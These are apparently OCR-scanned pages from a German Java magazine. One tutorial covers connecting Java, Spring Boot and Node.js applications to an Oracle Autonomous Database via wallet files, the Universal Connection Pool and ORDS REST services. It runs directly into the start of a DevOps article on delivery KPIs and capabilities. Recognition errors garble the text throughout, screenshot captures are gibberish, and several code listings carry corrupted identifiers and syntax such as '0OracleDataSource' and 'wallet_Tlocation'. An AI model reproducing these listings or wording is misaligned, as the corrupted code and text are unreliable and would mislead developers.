= sqlnet.ora — Client-seitige SQL*Net-Konfiguration

= ewallet.p12 — passwortgeschitztes Wallet mit dem Zugriffszer-
tifikat

= cwallet.sso — Single-Sign-on-Datei fiir die automatisierte Arbeit
mit dem Wallet

= keystorejks — passwortgeschltzer Java Keystore mit dem of-
fentlichen RSA-2048-Schllssel

= truststore.jks — passwortgeschitzer Java Truststore mit den Zer-
tifikaten der vertrauenswirdigen Server

= ojdbc.properties — JDBC-Verbindungsparameter, verweist unter
Nutzung der Umgebungsvariable TNS _ADMIN auf den Speicher-
ort des Wallet

Da das Wallet zusammen mit einem Benutzer und Passwort den
Zugang zu einer Datenbank ermadglicht, sollte es immer an einem
sicheren Ort und nur mit eingeschrankten Zugriffsrechten (zum
Beispiel Dateiberechtigung 600 unter Linux) abgelegt werden. Na-
turlich sollte es auch niemals auf unsicherem Wege (beispielsweise
per offentlicher E-Mail) und immer getrennt von seinem Zugriffs-
passwort versendet werden. Erweiterungen in den JDBC-Treibern
der Version 19c¢ (19.3) und 18c (18.3) vereinfachen die Benutzung
der Wallet-Dateien. Fir die weitere Verwendung packt man das
Wallet-Archiv in einem Verzeichnis nach Wahl aus und setzt die Um-
gebungsvariable TNS_ADMIN auf das Wallet-Verzeichnis: $ export
TNS_ADMIN=<WALLET_VERZEICHNIS>.

Die neuesten JDBC-Treiber sind auf der Oracle-Website /4] zu fin-
den. Passend zum verwendeten JDK ladt man hier die neuesten
Treiber herunter. Wenn eine JDK-Version kleiner als JDK8u162 (JDK
8, Update 162) verwendet wird, muss man zusatzlich die ,.Java Cryp-
tography Extension (JCE) Unlimited Strength Jurisdiction Policy Files
8"-Dateien herunterladen /5/ Mit JDK11, JDK10 und JDK9 ist das
nicht notig. Folgende Dateien werden bendctigt:
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ORACLE

Create Autonomous Database

Frovide basic information for the Autonomous Database
Choose a compartment
alwaysfree (rool) ..
Display name
DB Java Aklusil
Database nanme

OBJavasiauel

ot e rmus contain oy leers and numbers, startiog with 8 lefier Madmem of 14 characlers
Choose a workicad type

Transaction Processing

Data Warshouse

random data 2
Choose a deployment type

Serverless Dedicated Infrastructure
Run Autonomous Datatiase wilhout provisaning on dedicaled Exatali
infrastruciure.

Configuri the dalabase

Abways Free (T
() Show only Always Free configuration options.

CPU core count Storage (TB)

Abwuys Free Auionomous Databases can utiize up o | core. The CPU

Eoe cownt cannot be arkied

Abbildung 2: Einfache Provisionierung einer Autonomous Database

Uber eine einzige Parametrisierungsseite (Quelle: Marcel Amende)

= ORACLEC

= ojdbc10,jar (zertifiziert mit JDK10) bzw. ojdbc8.jar (JDK8) - die
JDBC-Treiber

= ucp.jar — der Universal Connection Pool

= oraclepkijar, osdt_core.jar und osdt_cert.jar — fiir die Verwen-
dung des Wallet

Fir den Aufbau einer JDBC-Verbindung wird das Objekt Oracle-
DataSource genutzt (siehe Listing 1).

Der TNS-Alias setzt sich dabei aus Datenbanknamen und dem
Namen einer Regel fir die Verwaltung der Datenbanbkressourcen
zusammen. Eine solche Regel definiert ein Laufzeitlimit fiir Da-
tenbankabfragen, ein 10-Limit und das Verhaltnis der moglichen
CPU- und 10-Nutzung. Die Regeln sind Uber die Service-Konso-
le anpassbar. Vordefinierte Namen sind LOW, MEDIUM, HIGH,
TP und TPURGENT /6] Die giiltigen Aliasse werden in der Datei
Ltnsnames.ora"im Wallet-Verzeichnis verwaltet. Fiir eine Datenbank
namens ,DBORCL" lautet der Alias fiir das Profil HIGH beispiels-
weise dborc1_high. Die JDBC-Verbindung lasst sich nun wie ge-
wohnt verwenden (siehe Listing 2).

Der komplette Beispielcode ist auf GitHub zu finden /7] Zum Aus-
fliihren des Beispiels braucht man zusatzlich lediglich ein VM-Argu-
ment, das auf das Wallet-Verzeichnis zeigt (siche Listing 3).

Germany Central (Frankfurt) v

Autonomous Database » Autonomous Database Details » Work Requests » Workrequest Details

Work Request Information

Operation Create Autonomous
Type: Database

OCID: _.6wejpa Show Copy

Compartment: alwaysfree

Resources LOg Messages

Log Messages (3) Message

Error Messages (0) Initializing Database Creation

Associated Resources (1) Creating Database

Finalizing Database Creation

Create Autonomous Database

100% Complete

Accepted: Mon, 23 Sep 2019 11:31:13 GMT
Started: Mon, 23 Sep 2019 11:31:28 GMT

Finished: Mon, 23 Sep 2019 11:32:52 GMT

Timestamp (UTC)

Mon, 23 Sep 2019 11.31:26 GMT

Mon, 23 Sep 2019 11:31:30 GMT

Mon, 23 Sep 2019 11:32:51 GMT

Showing 3 ltems

Abbildung 3: Erfolgreiche Provisionierung einer Autonomous Database in unter drei Minuten (Quelle: Marcel Amende)

ods = new OracleDataSource();
ods.setURL("jdbc:oracle:thin:/@<TNS_ALIAS>");
ods.setUser("<DB_BENUTZER>");
ods.setPassword("<DB_PASSWORT>");

OracleConnection con = (OracleConnection) ods.getConnection();

Listing 1
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Statement s = connection.createStatement();

ResultSet rs = statement.executeQuery("select name from emp");

Listing 2

$ java -Doracle.net.wallet_Tlocation=<WALLET_VERZEICHNIS> ..

Listing 3

autonomous.jdbc.SimpleJDBCTest

PoolDataSource pds = PoolDataSourceFactory.getPoolDataSource();
pds.setConnectionFactoryClassName("oracle.jdbc.pool.0OracleDataSource");

pds.setURL("jdbc:oracle:thin:/@TNS_ALIAS>");
pds.setUser("<DB_BENUTZER");
pds.setPassword("<DB_PASSWORT>");
pds.setConnectionPoolName("JDBC_UCP_POOL");
pds.setInitialPoolSize(3);

pds.setMinPoolSize(3);

pds.setMaxPoolSize(5);
pds.setTimeoutCheckInterval(5); //in Sekunden
pds.setInactiveConnectionTimeout(20); //in Sekunden
Connection con = pds.getConnection();

Listing 4

<beans ...>

<bean id="dataSource" class="oracle.ucp.jdbc.PoolDataSourceImpl">
<property name="connectionFactoryClassName" value="oracle.jdbc.pool.0OracleDataSource" />
<property name="URL" value="jdbc:oracle:thin:/@<TNS_ALIAS>" />

<property name="user" value="<DB_Benutzer>" />

<property name="password" value="<DB_PASSWORT>" />

<property name="maxPoolSize" value="5" />

<property name="initialPoolSize" value="1" />
</bean>

</beans>

Listing 5

@ImportResource({ "classpath*:AppConfig.xml" })
public class MyApplication {

Listing 6

Universal Connection Pool

Fur eine skalierbare Anwendung sollte man einen JDBC Connection
Pool verwenden. Der Oracle-)JDBC-Treiber bietet hierfiir den ,Uni-
versal Connection Pool” (UCP), den man Uber die ucp.jar-Bibliothek
einbinden kann. Ebenfalls auf GitHub /7] findet sich im Package
autonomous. jdbc.ucp eine Beispielimplementierung als Singleton
(siehe Listing 4).

Microservices mit Spring Boot

Spring Boot ist das derzeit wohl beliebteste und gleichzeitig be-
wahrteste Framework fiir die Entwicklung von Java-Applikationen
in der Cloud. Es ist Open Source /8/, wird aber von der Firma Pivotel
/9] massiv kommerziell unterstiitzt. Es eignet sich fiir die schnelle
Erstellung von Microservices, ist aber auch machtig genug fiir die
Entwicklung modularer Monolithen. Natirlich unterstitzt es auch
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JDBC-Verbindungen zur Oracle Autonomous Database und den Uni-
versal Connection Pool.

Zusatzlich zu den aufgefiihrten JDBC-Bibliotheken muss man in
einem Spring-Boot-Projekt folgende Spring- (hier exemplarisch in
der Version 4.3.4 [70)) und Spring-Boot-Bibliotheken (Version 1.4.2
[7117)) einbinden:

= spring-boot-1.4.2 jar files

= commons-logging-1.2.jar

= spring-aop-4.3.4.RELEASE jar

= spring-beans-4.3.4.RELEASE jar

= spring-boot-1.4.2.RELEASE jar

= spring-context-4.3.4.RELEASE jar

= spring-core-4.3.4.RELEASE jar

= spring-expression-4.3.4.RELEASE jar
= spring-jdbc-4.3.4.RELEASE jar

= spring-tx-4.3.4.RELEASE jar

Die Verbindungsparameter der JDBC-Datenquelle werden in der
XML-Datei fir die Spring-Applikationskonfiguration angegeben
(siehe Listing 5). Die Konfigurationsdatei wird wiederum UGber eine

2,
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/* File main.js - start */
const oracledb = require('oracledb');

async function run() {
let pool;

try {
pool = await oracledb.createPool ({
user: "<DB_USER>",
password: "<DB_PASSWORT>",
connectString: "<TNS_ALIAS>"
h))g
const con = await pool.getConnection();

const res = await con.execute("select sysdate from dual");

console.log(res.rows[0]);
} catch (err) {console.error(err);}
}

run();
/* File main.js - end */

Listing 7

$ node main.js
[ 2019-09-19T713:08:08.000Z ]

Listing 8

@ImportResource-Annotation der Main-Klasse der Applikation re-
ferenziert (siehe Listing 6). Die komplette, lauffahige Spring-Applika-
tion ist ebenfalls auf GitHub zu sehen /7],

JavaScript mit Node.js
Fir eine Datenbankapplikation in JavaScript und die Ausfiihrung in
Node js muss man drei Dinge vorbereiten:

1. Setzen der Umgebungsvariable TNS _ADMIN auf das Wallet-Ver-
zeichnis: $ set TNS_ADMIN=<WALLET_VERZEICHNIS>

2. Herunterladen des Basic- oder Basic-Light-Pakets des Oracle In-
stant Client [12]. Nach dem Auspacken beziehungsweise Instal-

ORDS.ENABLE_SCHEMA(p_enabled => TRUE,
p_schema => '<DB_SCHEMA>",
p_url_mapping_type => 'BASE_PATH",

lieren nimmt man das entstandene Verzeichnis in den Suchpfad
auf: $§ set PATH=<INSTANT_CLIENT_VERZEICHNIS>

3. Installieren des Oracle-Datenbanktreibers mit dem Node-Paket-
manager: $ npm install oracledb

Ein minimales JavaScript-Programm ,main.js” sieht dann unter Ver-
wendung eines Connection Pool wie in Listing 7 abgebildet aus.

Es handelt sich dabei naturlich um ein eigenstandiges Programm,
keinen Web-Service. Die Verwendung eines Connection Pool ist da-
her exemplarisch zu sehen. Bei Ausfiihrung gibt es die aktuelle Sys-
temzeit der Datenbank aus (siehe Listing 8).

RESTful Services und SODA

Naturlich gibt es Alternativen zu Datenbankabfragen Uber Daten-
banktreiber. Oft ist es einfacher, die Datenbak gleich als RESTful Ser-
vice zu konsumieren. In der Oracle Autonomous Database stehen
dafir die ,RESTful Data Service” (ORDS) und mit dem ,Simple Oracle
Document Access” (SODA) eine API-Abfrage im NoSQL-Stil bereit.

p_url_mapping_pattern => '<REL_URL_PFAD>',

p_auto_rest_auth => FALSE);

Listing 9

ORDS.ENABLE_OBJECT (p_enabled => TRUE,
p_schema => "'<DB_SCHEMA>",
p_object => "<DB_TABELLE>",
p_object_type => 'TABLE',
p_object_alias => '"<SERVICE_NAME>",
p_auto_rest_auth => FALSE);

Listing 10

https://<RANDOM>-<DB_NAME>.adb.<DATACENTER_NAME>.oraclecloudapps.com/ords/< REL_URL_PFAD >/<SERVICE_NAME>/

Listing 11

Java aktuell 01/20
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Ein Datenbankschema kann man mit einem einfachen PL/SQL-Pro-
zeduraufruf unter einem relativen Pfad fiir REST Services vorberei-
ten (siehe Listing 9).

Nun kann eine Tabelle des Schemas als RESTful Service bereitge-
stellt werden, der CRUD-Operationen in SQL DML und die Daten in
JSON-Formate tibersetzt (siehe Listing 10). Dabei ist Vorsicht gebo-
ten, denn daraus resultiert ein 6ffentlich aufrufbarer REST Service
unter der in Listing 717 angegebenen URL.

REST-Ressourcen lassen sich durch die Vergabe von Privilegien sehr
einfach mit einer OAuth2- oder BASIC-Authentifizierung versehen.
Die Operationen zur Erstellung eines REST Service konnen mit dem
SQL Developer auch per Knopfdruck ausgefiihrt werden.

Zusammenfassung

Fiir den (Java-)Entwickler andert sich mit der Oracle Autonomous
Database gegenlber der Nutzung der klassischen Datenbank
glicklicherweise wenig. Jede Kommunikation mit der Datenbank
ist aber zwingend verschlisselt und signiert. Der organisatorische
Wert der autonomen Datenbank kann hingegen immens sein. Bei
einer agilen Softwareentwicklung braucht man praktisch auf der
Stelle die notigen Ressourcen, ohne sich auf unabsehbare Kosten
und Aufwande einzulassen. Dabei kann die Oracle Autonomous
Database einen wichtigen Beitrag leisten. Als ,Always Free"-
Dienst steht sie in circa drei Minuten kostenfrei fiir die Umsetzung
neuer |deen bereit. Darliber hinaus zahlt man flexibel nur die tat-
sachliche Nutzung. Im Erfolgsfall kann man im laufenden Betrieb
nahezu beliebig skalieren und hat vom Projektstart bis zum pro-
duktiven Einsatz immer ein sicheres, absolut wartungsfreies und
hochverfiigbares System. Bei hochstem Bedarf an Sicherheit und
Datenschutz sogar in einem kompletten privaten Subnetz mit ei-
genen Schlisseln. Fir den Java-Entwickler sollte die autonome
Datenbank daher einen Blick wert sein. Auch die System- und Da-
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DevOps™?! Gerne, aber richtig!

Maximilian Braun, virtual7 GmbH

Viele Organisationen gehen den Weg in Richtung
DevOps. Einige von ihnen schon ldnger und sehr
erfolgreich. Von diesen Teams ldisst sich lernen, wie
eigenstdndige Teams mit zufriedenen Mitarbeitern
schnell Features an ihren spezifischen Markt bringen
und dabei eine stabile Produktionsumgebung
gewdhrleisten.

evor der DevOps-Frust einsetzt, sollte man sich Gedanken um
die Transformation machen, denn DevOps ist weniger Tech-
nologie als vielmehr Zusammenarbeit, Kultur, Lean-Produktma-
nagement und Lean-Management. In Studien und Umfragen wird
erforscht, was Organisationen umsetzen, die erfolgreich DevOps
einsetzen. In diesem Artikel stelle ich einige Ergebnisse aus mei-
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ner Erfahrung aus Ministerien, Behorden und der 6ffentlichen Hand
Deutschlands, der Wirtschaft und mehreren Studien vor.

Was ist DevOps?

Fir DevOps gibt es keine allgemeingdiltige Definition. Das habe ich
in den Organisationen, die bereits auf dem Weg sind und die ich
begleitet habe, kennengelernt. Dadurch kommt es oft zu Missver-
standnissen und enttduschten Erwartungen. Alle Definitionen, die
ich kenne, lassen sich fiir mich jedoch damit zusammenfassen: ,De-
vOps ist eine Reihe von Methoden, die es Organisationen erlauben,
Anderungen an Systemen schnell durchzufiihren, ohne die Qualitat
der Systeme zu beeintrachtigen” /7 Konkret heiBt dies, dass wir
Features mit DevOps schnell und in hoher Qualitat an unsere Kun-
den bringen kdnnen. Um das zu ermoglichen, ist es notig, dass die
einzelnen Teams verantwortlich fir den kompletten Lifecycle ihres
Produktes sind; von der Konzeption lber die Entwicklung und Inte-
gration bis hin zum Betrieb.
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Abbildung T: Auslastung der Befragten der ,State of DevOps -Studie 2018 [2] gruppiert nach Performance. Visualisierung © virtual7 GmbH

Mehr Features durch DevOps

Ein Aspekt, wieso Organisationen auf DevOps setzen, ist, dass sie
mehr Features an den Markt bringen mochten. Die Thesen der ,Sta-
te of DevOps”-Studien unterstiitzen dieses Vorhaben. Beispielswei-
se verbringen Organisationen und Teams, die als ,Elite” klassifiziert
wurden, 50 Prozent ihrer Zeit mit der Entwicklung neuer Features
[2], wohingegen ,Low-Performer” nur 30 Prozent ihrer Zeit in neue
Features investieren. Sie investieren hingegen das Doppelte /2/ih-
rer Zeit in Bugs und Security-Probleme. AuRBerdem ein Vielfaches in
klassische Customer-Support-Tatigkeiten (siehe Abbildung 1).

Der DevOps-Weg

Wenn eine Organisation sich entschieden hat, den DevOps-Weg zu
gehen, entscheidet sie sich daftr, all ihre Prozesse und Kriterien zu
Uberdenken. Silos zwischen Betrieb und Entwicklung werden abge-
rissen. Alte Wege werden von anderen Menschen beschritten und
neue Wege tun sich auf. Deswegen ist es wichtig, dass dieser Weg
durch regelmaRige Retrospektiven begleitet und neu ausgerichtet
wird. Fortschritte sollten messbar sein, damit Experimente evaluiert
werden konnen.

Erfolge messen

Wie fiir jede Organisation ist es fiir DevOps-Organisationen wich-
tig, KPIs (Key Performance Indicators/Kennzahlen) zu erfassen, die
neben finanziellen Aspekten den Erfolg der Organisation messen.
Integraler Bestandteil einer KPI ist es, die Leistung eines Systems
auf den Punkt zu bringen. Der Mehrwert, den DevOps Organisati-
onen bietet, ist meist die bedarfsgerechte Entwicklung und der Be-
trieb von Software. In manchen Fdllen nutzen Organisationen nur
betriebsrelevante KPIs, um den eigenen Erfolg zu messen. Die Er-
fahrung zeigt, dass es hier kein allgemeingtiltiges Bild auf DevOps-
KPIs gibt. Da passiert es oft, dass es Dev- und DevOps-Teams gibt.
DevOps Iost die Silos ,Dev” und ,Ops” auf. Als Team sollten wir je-
doch Verantwortung fiir den gesamten Prozess libernehmen und
einer Trennung entgegenwirken.

Aus dem Zusammenlegen beider Bereiche lassen sich finf KPIs
ableiten, die zu einer tibergeordneten KPI zusammengefasst wird.
Der erste Indikator Delivery Lead Time To Change beschreibt, wie
viel Zeit zwischen Fertigstellen der Anderung (commit) und tat-
sachlichem Ubergang in die Produktion vergeht (siehe Tabelle 7). Die
Kennzahl Deployment Frequency beinhaltet, wie oft Anderungen
in die Produktion gebracht werden (siche Tabelle 2). Aulderdem die
Change Fail Rate: die Anzahl der fehlgeschlagenen Anderungen, den

L6

erfolgreichen Anderungen (zum Beispiel Bugs und zuriickgerollte
Releases) gegenlibergestellt. Unter Mean Time To Restore versteht
man, wie viel Zeit nach einem Ausfall vergeht, bis die Systeme wie-
der normal operieren (siehe Tabelle 7). Zuletzt bendtigen wir noch die
Availability, also die Verfligbarkeit im Jahresmittel der Produktions-
systeme. Diese fiinf KPIs lassen sich unter dem Dach der Software
Delivery Performance zusammenfassen. Als DevOps-Organisation
ist die Software Delivery Performance unsere KPI. Sie fasst alle The-
mengebiete zusammen, in denen wir Experten sind.

Diese KPIs konnen verwendet werden, um den DevOps-Weg zu
beobachten und zu priifen. Experimente, Methoden und Techno-
logien zeigen ihre Auswirkungen und sind echte Daten, nicht nur
ein Gefuhl. Gerade am Anfang lohnt es, sich die Frage zu stellen,
wie man innerhalb dieser KPIs steht. Die ,State of DevOps”-Stu-
die 2018 /2] hat ihre Teilnehmer in mehrere Kategorien aufge-
teilt: Elite-, High-, Medium- und Low-Performer. Beim Vergleich
von High- und Low-Performern zeigen sich groRe Unterschiede.

Weniger als eine Stunde

Weniger als ein Tag

Zwischen einem Tag und einer Woche

Zwischen einer Woche und einem Monat

Zwischen einem Monat und sechs Monaten

Mehr als sechs Monate

Tabelle T: Klassifikation Delivery Lead Time To Change (Wie viel Zeit
wird benoétigt, um eine Anderung zum Kunden auszuliefern?) und
Mean Time To Restore (Wie viel Zeit wird benétigt, um die Systeme in
den Normalzustand zuriickzuversetzen?) KPls

Bei Bedarf (mehrfach am Tag)

Zwischen einmal in der Stunde und einmal am Tag

Zwischen einmal am Tag und einmal in der Woche

Zwischen einmal in der Woche und einmal im Monat

Zwischen einmal im Monat und einmal in sechs Monaten

Weniger als einmal in sechs Monaten

Tabelle 2: Klassifikation Deployment Frequency (Wie oft fuhre ich
Deployments in der Produktion aus?)

Z
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Abbildung 2: Frequenz der Depoyments: High- vs. Low-Performer.
State of DevOps Studie -2018 [2] Visualisierung © virtual7 GmbH
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Abbildung 3: Delivery Lead Time To Change: High- vs. Low-Performer,
State of DevOps Studie™-2018 [2] Visualisierung © virtual7 GmbH

So deployen High-Performer ihre Software beispielsweise 46 Mal
(siehe Abbildung 2)ofter in die Produktion als Low-Performer. Die be-
notigte Zeit von Anderungen bis hin zum Ubergang in die Produktion
ist ganze 440 Mal kleiner (siehe Abbildung 3). Im Falle eines Ausfalls
konnen High-Performer ihre Systeme 170 Mal schneller in den Nor-
malzustand zuriickversetzen (siche Abbildung 4). AulBerdem resul-
tieren Anderungen fiinf Mal seltener in Rollbacks oder Bugs (siche
Abbildung 5). Das allein sind starke Argumente fiir den DevOps-Weg.

Capabilities

Gerade bei Themen mit Technologie-Fokus nutzen wir oft Reife-
gradmodelle, um unseren Fortschritt zu messen. Reifegradmodelle
beschreiben einen statischen Pfad, sind unterteilt in mehrere Stu-
fen und charakterisieren einen finalen Zustand. Das passt nicht zum
DevOps-Weg. Ahnlich wie eine agile Transition hat es viel mehr mit
Menschen als mit Technologie zu tun. Das lasst sich nur schwer in
Grade einteilen und wird nie wirklich fertig. Deswegen kann ein fle-
xibleres Modell, dass auf Capabilities (Kompetenzen/Fahigkeiten)
setzt, auf die Bedarfe einzelner Organisationen besser eingehen.
Basierend auf den ,State of DevOps”-Studien der letzten Jahre,
wurden 24 Capabilities in finf Kategorien identifiziert /3), die auf
die Software Delivery Performance eingehen: Continuous Delivery,
Architektur, Produkt und Prozesse, Lean-Management oder -Moni-
toring sowie Kultur.

1. Continuous Delivery Capabilities

Ein Teil der 24 Capabilities lasst sich unter Continuous Delivery klas-
sifizieren. DevOps-Teams konnen viele dieser Methoden ohne Ab-
hangigkeiten einsetzen und so den Grundstock fir eine erfolgreiche
Transition schaffen.
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1.1 Versionskontrolle - iiberall

Die Nutzung moderner Versionskontrollsysteme bildet das Fun-
dament fiir den DevOps-Weg. Dennoch sollte nicht nur der Code
der Anwendungen versioniert werden, auch die Konfiguration der
Anwendung, Skripte fir die Automatisierung, System- und Umge-
bungskonfigurationen sollten versioniert werden.

1.2 Vollautomatisierte Deployment-Prozesse

Deployments, die ohne einen manuellen Schritt durchgeftihrt wer-
den, beschleunigen das Team beim Rollout tberdurchschnittlich.
Gleichzeitig erfordert dies verlassliche Tests.

1.3 RegelmaRige Check-ins — Continuous Integration

Als erster Schritt, um Continuous Delivery zu implementieren, gilt
Continuous Integration. Wenn wir Continuous Integration einsetzen,
dann checken wir regelmdRig unseren Code ein. Dieser Check-in
wird automatisiert getestet und Fehler konnen friihzeitig behoben
werden. Der Continuous-Integration-Prozess erstellt die ersten Ar-
tefakte, die spater ,released” und ,deployed” werden konnen.

1.4 Weg mit den langlebigen Branches — Trunk-Based Development
Trunk-Based Development ist eine Methode, Versionsverwal-
tung zu nutzen. Dabei werden maximal drei Branches genutzt.
Branches haben generell eine sehr kurze Laufzeit, beispielsweise
von maximal einem Tag, bevor sie in den Master zuriickgeflihrt
werden. Diese Methode ermdglicht disziplinierten Teams, durch
die Anwendung von Feature-Toggles, eine Code-Freeze-freie
Entwicklung. Die ,State of DevOps”-Studien zeigen, dass Trunk-
Based Development die Methode ist, die hoch-performante
DevOps-Teams ausmacht.

1.5 Test-Automatisierung

Gute Automatisierung der Tests zeichnet sich dadurch aus, dass sie
verlasslich funktioniert und ohne manuellen Aufwand in unseren
Softwareentwicklungsprozess eingebunden ist. Wir missen uns
darauf verlassen konnen, dass Tests echte Bugs finden und nicht
falsch-positive Ergebnisse liefern. Als Entwickler sollten wir fiir die-
se Tests verantwortlich sein. Diese Merkmale zeichnen eine gute
Test-Automatisierung aus.

1.6 Testdaten-Management

Tests erfordern Daten. Diese missen regelmaRBig und sorgfaltig
gepflegt werden. Daten, die fir die automatisierten Tests bendtigt
werden, sollten zu jeder Zeit verflighar und anpassbar sein und nicht
durch die Anzahl der Tests oder die Anzahl der Ausfiihrungen limi-
tiert werden. Bei Testdaten gilt der Grundsatz, wie bei Applikations-
code: Weniger ist mehr.

1.7 Integration von Security in den
Softwareentwicklungsprozess — DevSecOps

Security-bezogene Bugs zahlen zu den schwerwiegendsten Prob-
lemen. Sie von Anfang an zu vermeiden muss das oberste Ziel sein.
Wenn Info-Sec-Experten bereits friihzeitig in das Design, die Ent-
wicklung und das Testing hinzugezogen, Security Reviews abgehal-
ten und gepriifte Security-Bibliotheken verwendet werden, dann
konnen viele Bugs im Vorfeld vermieden werden. Teams lernen von
diesen Experten und kdnnen die Expertise aus dem Team heraus in
die Projekte tragen. Sicherheitsrelevante Features sollten in den au-
tomatisierten Test-Suites getestet werden.
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1.8 Continuous Delivery implementieren

Continuous Delivery ist eine Methode, mit der Software zu jeder Zeit
imstande ist, ausgerollt zu werden, und das zu jedem Zeitpunkt im
Entwicklungszyklus. Diesen Zustand zu halten, ist, noch vor neuen
Features, von hochster Prioritat. Durch Transparenz und schnelles
Feedback zu Qualitat und Deploybarkeit konnen Probleme schnell
durch das ganze Team behoben werden. Ziel ist es, bei Bedarf die
Systeme in der Produktion zu jeder Zeit aktualisieren zu konnen.

Weitergehendes wird im Buch ,Continuous Delivery: Reliable Soft-
ware Releases Through Build, Test, and Deployment Automation”
(ISBN 9780321601919) von Jez Humble angesprochen.

2. Architektur-Capabilities

Klassische Architektur fokussiert sich auf Tool- und Technologie-
auswahl. Erfolgreiche DevOps-Teams wissen, welche Tools und
Technologien sie benotigen. Architekten in diesem Umfeld arbeiten
mit den Teams eng zusammen, damit sie bessere Ergebnisse erzie-
len konnen, zeigen ihnen neue Wege, Tools und Technologien auf.

2.1 Lose gekoppelte Architekturen

Eine lose gekoppelte Architektur ermdglicht es Teams, das Test- und
Deploy-Stadium ohne Abstimmungsaufwande mit anderen Teams
und Services durchzufiihren. Damit erreicht das Team eine Eigen-
standigkeit, die das Entwickeln und Ausliefern beschleunigen kann.

2.2 Architektur fiir eigenstandige Teams

Architekten in DevOps-Teams konnen Teams am besten unterstit-
zen, indem sie gemeinsam Fragestellungen bearbeiten. Der Fokus
des Architekten sollte darauf liegen, die Ergebnisse des Teams zu op-
timieren. Dabei kdnnen beispielsweise die Minimierung der Bedarfe
fur Integrationstests und die Unabhangigkeit des Teams bei Test und
Deployment Thema sein. Teams wissen, mit welchen Tools und Tech-
nologien sie am besten arbeiten kdnnen. Eine mogliche Fragestellung
kann sein, wie man noch mehr aus diesen Tools herausholen kann.

3. Produkt- und Prozess-Capabilities

Diese Capabilities aus dem Lean-Product-Management zahlen di-
rekt auf die Software Delivery Performance ein, wobei die Software
Delivery Performance das Lean-Product-Management positiv be-
einflusst. Das heil3t, dass das Produktmanagement den DevOps-
Weg unterstltzen kann. Teams konnen gleichzeitig das Produktma-
nagement selbst betreiben oder mit Daten unterstitzen.

3.1 Kundenfeedback sammeln und implementieren

Um die Produktentwicklung positiv zu beeinflussen, haben Teams
eine Reihe von Maglichkeiten. Neben der Erhebung anonymisierter
Daten zu Nutzerverhalten und dem Messen von erfolgreichen und
gescheiterten Vorgangen ist das direkte Feedback von Nutzern eine
weitere GroRe, die in das Design und die Entwicklung des Produktes
einflieRen kann.

3.2 Experimente fordern

Basierend auf diesen Daten und der Maoglichkeit, Spezifikationen
direkt anzupassen, kann die Innovation direkt aus den Teams erfol-
gen. Die Nahe zum Produkt, den Kunden und den Daten erlaubt es,
Experimente zu starten und aus ihnen zu lernen. Damit kann das
Team direkt neue Werte am Produkt schaffen, ohne ,von oben” ei-
nen Segen zu erhalten.
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3.3 Arbeitsabldufe sichtbar machen

Das Verstandnis und die Sichtbarkeit, wie neue Arbeitspakete zum
Team gelangen, von Business-Seite bis zum Kunden, hilft Teams,
fundierte Entscheidungen im Alltag zu treffen. Die Verwendung von
Bibliotheken bis hin dazu, wie Systeme geschnitten werden, andert
sich mit dem Kontext, den das Team hat.

3.4 Arbeiten mit kleinen Paketen

Continuous Delivery ermaglicht es, jederzeit neue Features an den
Kunden zu bringen. Im Produktmanagement sollte dies ein Gegen-
stlick haben: Ein groRes Projekt wird in kleine Features zerlegt, die in
schnellen Zyklen ausgerollt und verbessert werden. Das ermoglicht
frihes Feedback durch Methoden wie A/B-Testing.

4. Lean Management und Monitoring Capabilities
Nach den klassischen Ansatzen im Management von Software-Ent-
wicklungsteams und der Adaption agiler Methoden steht nun mehr
und mehr Lean im Fokus. Diese Capabilities legen den Fokus auf die
Produktivitat der Teams.

4.1 Changes ohne aufgeblasene Prozesse

Die Forschung durch DevOps-Studien zeigt /3), dass die Freigabe
von Changes durch teamfremde Change-Approval-Boards die Soft-
ware Delivery Performance negativ beeinflusst und nicht fir die
Stabilitat sorgt, die damit verbunden wird. Leichtgewichtige Prozes-
se, wie Peer-Reviews, wirken sich hingegen positiv auf die Software
Delivery Performance aus.
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Abbildung 4: Mean Time To Restore: High- vs. Low-Performer,
.State of DevOps Studie™-2018 [2] Visualisierung © virtual7 GmbH
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Abbildung 5: Change Fail Rate: High- vs. Low-Performer,
.State of DevOps Studie™-2018 [2] Visualisierung © virtual7 GmbH
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4.2 Fundierte Entscheidungen durch Monitoring

Die Daten, die Anwendungen und Infrastruktur produzieren, kénnen
dafir genutzt werden, um technische MalRnahmen zu ergreifen. Das
Produktmanagement profitiert von diesen Daten und kann daten-
gestutzte Entscheidungen treffen.

4.3 Proaktives Monitoring

Erfolgreiche DevOps-Teams (iberwachen Systeme mithilfe von
Schwellwerten und Warnungen bei Anderungsraten. So kdnnen die-
se Teams verbeugende Mal3nahmen fiir Probleme treffen und lau-
fen ihnen nicht hinterher.

4.4 Work-in-Progress Limits

Ein Work-in-Progress Limit, also das bewusste Limitieren von Pake-
ten, die gleichzeitig abgearbeitet werden, wirkt sich positiv auf den
Durchsatz und die Prozesse aus. AuBerdem werden Randbedingun-
gen und Beziehungen zwischen Arbeitspaketen transparenter.

4.5 Transparenz bei Qualitat und Arbeit fiir das ganze Team
Tools, die Monitoring, Deploybarkeit und Code-Qualitat sowie
den aktuellen Stand der Work-in-Progress-Pakete auf einer
Website oder einem fiir das ganze Team sichtbaren Monitor zei-
gen, geben dem Team mehr Transparenz. Diese ist wichtig, um
bei Ereignissen wie Ausfallen oder Problemen bei der Deploybar-
keit gegenzusteuern.

5. Kultur-Capabilities

Eine Kultur in Technologie-Organisationen erscheint auf den ersten
Blick schwer messbar. Ron Westum fasst die meisten Kulturen mit
seinem Paper /4] zusammen: pathological (machtorientiert), biiro-
kratisch (regelorientiert) und generative (leistungsorientiert).

5.1 Produktive Unternehmenskultur schaffen und fordern

Die ,generative”-Kultur unterstiitzt die Software Delivery Perfor-
mance durch Vertrauen, ein hohes Mal? an Kooperation, starken
Informationsfluss, geteilte Risiken, Neugier sowie offene und aus-
geprdgte Kommunikation zwischen Teams /5.

5.2 Lernen

Kontinuierliches Lernen ist kritisch flr die stetige Veranderung des
modernen Arbeitslebens. Als Arbeitgeber und Arbeitnehmer sollte
das nicht als einmalige Investition verstanden werden, sondern als
ein dauerhafter, beidseitiger Prozess.

5.3 Zusammenarbeit von Teams fordern

Produktive Unternehmenskulturen reduzieren das Silodenken
zwischen Teams und fordern die Zusammenarbeit. Nicht nur bei
Themen wie Entwicklung, Operations- und Information-Security,
sondern zwischen dem klassischen Business und der Software-
Delivery-Organisation.

5.4 Innovative Fiihrungskultur etablieren

Innovative Flihrungskultur (Transformational Leadership) bedeutet,
dass Fuihrungskrafte durch Inspiration und Motivation Menschen zu
Bestleistungen herausfordern. Diese Fiihrungskrafte bringen eine
